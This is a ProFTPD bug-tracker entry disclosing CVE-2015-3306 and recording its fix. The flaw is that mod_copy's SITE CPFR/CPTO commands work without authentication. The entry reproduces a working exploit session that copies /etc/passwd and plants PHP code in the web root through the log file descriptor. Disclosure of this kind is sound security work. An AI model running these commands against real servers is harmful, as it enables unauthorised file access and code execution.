Bugzilla – Bug 4169
Unauthenticated copying of files via SITE CPFR/CPTO allowed by mod_copy
Last modified: 2015-05-28 05:59:40 UTC
Vadim Melihow reported a critical issue with proftpd installations that use the mod_copy module's SITE CPFR/SITE CPTO commands; mod_copy allows these commands to be used by *unauthenticated clients*: --------------------------------- Trying 80.150.216.115... Connected to 80.150.216.115. Escape character is '^]'. 220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115] site help 214-The following SITE commands are recognized (* =>'s unimplemented) 214-CPFR <sp> pathname 214-CPTO <sp> pathname 214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path 214-SYMLINK <sp> source <sp> destination 214-RMDIR <sp> path 214-MKDIR <sp> path 214-The following SITE extensions are recognized: 214-RATIO -- show all ratios in effect 214-QUOTA 214-HELP 214-CHGRP 214-CHMOD 214 Direct comments to root@www01a site cpfr /etc/passwd 350 File or directory exists, ready for destination name site cpto /tmp/passwd.copy 250 Copy successful ----------------------------------------- He provides another, scarier example: ------------------------------ site cpfr /etc/passwd 350 File or directory exists, ready for destination name site cpto <?php phpinfo(); ?> 550 cpto: Permission denied site cpfr /proc/self/fd/3 350 File or directory exists, ready for destination name site cpto /var/www/test.php test.php now contains ---------------------- 2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument 2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): FTP session opened. 2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q (slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php phpinfo(); ?>' for copying: Permission denied ----------------------- test.php contains contain correct php script "<?php phpinfo(); ?>" which can be run by the php interpreter
Pull request to fix the issue, and to provide a CopyEngine directive, so that future mod_copy issues can be mitigated by disabling the module at runtime, without requiring recompiling: https://github.com/proftpd/proftpd/pull/109
Merged to master, and backported to 1.3.5 branch.
This was assigned CVE-2015-3306.
Resolved in 1.3.5a, 1.3.6rc1.